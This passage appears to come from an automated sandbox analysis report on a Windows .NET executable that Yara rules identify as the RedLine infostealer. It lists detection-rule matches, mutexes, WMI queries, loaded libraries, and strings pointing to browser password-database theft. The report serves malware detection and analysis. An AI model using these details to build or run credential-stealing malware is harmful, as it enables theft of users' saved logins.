                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://www.ecosia.org/newtab/
                        Source: tmp4B69.tmp.2.dr, tmp4B36.tmp.2.dr, tmp4B58.tmp.2.dr, tmp4B59.tmp.2.dr, tmp4B47.tmp.2.dr, tmp4B15.tmp.2.dr, tmp11B3.tmp.2.dr, tmp4B05.tmp.2.dr, tmp4B26.tmp.2.dr, tmp11B2.tmp.2.dr, tmp843D.tmp.2.dr, tmp11C3.tmp.2.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443

                        System Summary

                        barindex
                        Malicious sample detected (through community Yara rule)
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPEMatched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPEMatched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                        Source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
                        Source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPEMatched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPEMatched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                        Source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: Process Memory Space: chTJmCR9bS.exe PID: 7384, type: MEMORYSTRMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: Process Memory Space: chTJmCR9bS.exe PID: 7572, type: MEMORYSTRMatched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_0164E0CC0_2_0164E0CC
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078A5D400_2_078A5D40
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078AD6880_2_078AD688
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078AF5B30_2_078AF5B3
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078AF5C00_2_078AF5C0
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078ADF180_2_078ADF18
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078A4B200_2_078A4B20
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078A4B300_2_078A4B30
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078ADAE00_2_078ADAE0
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078B75E80_2_078B75E8
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078B9F500_2_078B9F50
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078B45900_2_078B4590
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 0_2_078B75DA0_2_078B75DA
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_0176E7B02_2_0176E7B0
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_0176DC902_2_0176DC90
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_05A427582_2_05A42758
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_05A42B982_2_05A42B98
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_05A40B482_2_05A40B48
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_05A472B82_2_05A472B8
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_05A404D02_2_05A404D0
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_05A42FD02_2_05A42FD0
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_05A4CAF02_2_05A4CAF0
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C344682_2_06C34468
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C396282_2_06C39628
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C312102_2_06C31210
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C333202_2_06C33320
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C3DD002_2_06C3DD00
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeCode function: 2_2_06C3D1082_2_06C3D108
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameImplosions.exe4 vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameImplosions.exe4 vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1823596554.00000000033DB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameImplosions.exe4 vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1822059095.000000000148E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1826964666.0000000005CD0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameCaptive.dll" vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1823596554.0000000003301000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1828781159.0000000009490000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000000.1757800868.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameyZZa.exe< vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000000.00000002.1823596554.000000000343E000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCaptive.dll" vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefirefox.exe0 vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q,\\StringFileInfo\\000004B0\\OriginalFilename vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamechrome.exe< vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q,\\StringFileInfo\\040904B0\\OriginalFilename vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameIEXPLORE.EXED vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $^q,\\StringFileInfo\\080904B0\\OriginalFilename vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.000000000359B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsedge.exe> vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: OriginalFilenameImplosions.exe4 vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1927999993.0000000001510000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exe, 00000002.00000002.1930362222.00000000034AF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exeBinary or memory string: OriginalFilenameyZZa.exe< vs chTJmCR9bS.exe
                        Source: chTJmCR9bS.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPEMatched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPEMatched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                        Source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
                        Source: 2.2.chTJmCR9bS.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPEMatched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
                        Source: 0.2.chTJmCR9bS.exe.450ad90.3.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPEMatched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
                        Source: 0.2.chTJmCR9bS.exe.43ab7e0.4.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                        Source: 00000002.00000002.1927566473.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: 00000000.00000002.1824869359.0000000004347000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: Process Memory Space: chTJmCR9bS.exe PID: 7384, type: MEMORYSTRMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: Process Memory Space: chTJmCR9bS.exe PID: 7572, type: MEMORYSTRMatched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
                        Source: chTJmCR9bS.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                        Source: 0.2.chTJmCR9bS.exe.5cd0000.6.raw.unpack, omAEgsLmk0rNSsw9KS.csCryptographic APIs: 'CreateDecryptor'
                        Source: 0.2.chTJmCR9bS.exe.3721508.2.raw.unpack, omAEgsLmk0rNSsw9KS.csCryptographic APIs: 'CreateDecryptor'
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, jYBrVYgaVhihr0xqXk.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, jYBrVYgaVhihr0xqXk.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, jYBrVYgaVhihr0xqXk.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, cnpOZQtnIxVr5ZpWhv.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                        Source: 0.2.chTJmCR9bS.exe.9490000.7.raw.unpack, cnpOZQtnIxVr5ZpWhv.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, cnpOZQtnIxVr5ZpWhv.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, cnpOZQtnIxVr5ZpWhv.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, jYBrVYgaVhihr0xqXk.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, jYBrVYgaVhihr0xqXk.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                        Source: 0.2.chTJmCR9bS.exe.4524cb0.5.raw.unpack, jYBrVYgaVhihr0xqXk.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                        Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@4/43@1/2
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\chTJmCR9bS.exe.logJump to behavior
                        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7584:120:WilError_03
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMutant created: NULL
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMutant created: \Sessions\1\BaseNamedObjects\LhdugJKZb
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeFile created: C:\Users\user\AppData\Local\Temp\tmp116D.tmpJump to behavior
                        Source: chTJmCR9bS.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                        Source: chTJmCR9bS.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId=&apos;1&apos;
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                        Source: tmp118F.tmp.2.dr, tmp116E.tmp.2.dr, tmp116D.tmp.2.dr, tmp11A1.tmp.2.dr, tmp1190.tmp.2.dr, tmp117F.tmp.2.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                        Source: chTJmCR9bS.exeReversingLabs: Detection: 71%
                        Source: unknownProcess created: C:\Users\user\Desktop\chTJmCR9bS.exe "C:\Users\user\Desktop\chTJmCR9bS.exe"
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess created: C:\Users\user\Desktop\chTJmCR9bS.exe "C:\Users\user\Desktop\chTJmCR9bS.exe"
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess created: C:\Users\user\Desktop\chTJmCR9bS.exe "C:\Users\user\Desktop\chTJmCR9bS.exe"Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: mscoree.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: apphelp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: kernel.appcore.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: version.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: uxtheme.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: profapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: dwrite.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: textshaping.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: riched20.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: usp10.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: msls31.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: windowscodecs.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: amsi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: userenv.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: msasn1.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: gpapi.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: iconcodecservice.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: mscoree.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: kernel.appcore.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: version.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: cryptsp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: rsaenh.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: cryptbase.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: windows.storage.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: wldp.dllJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeSection loaded: profapi.dllJump to behavior
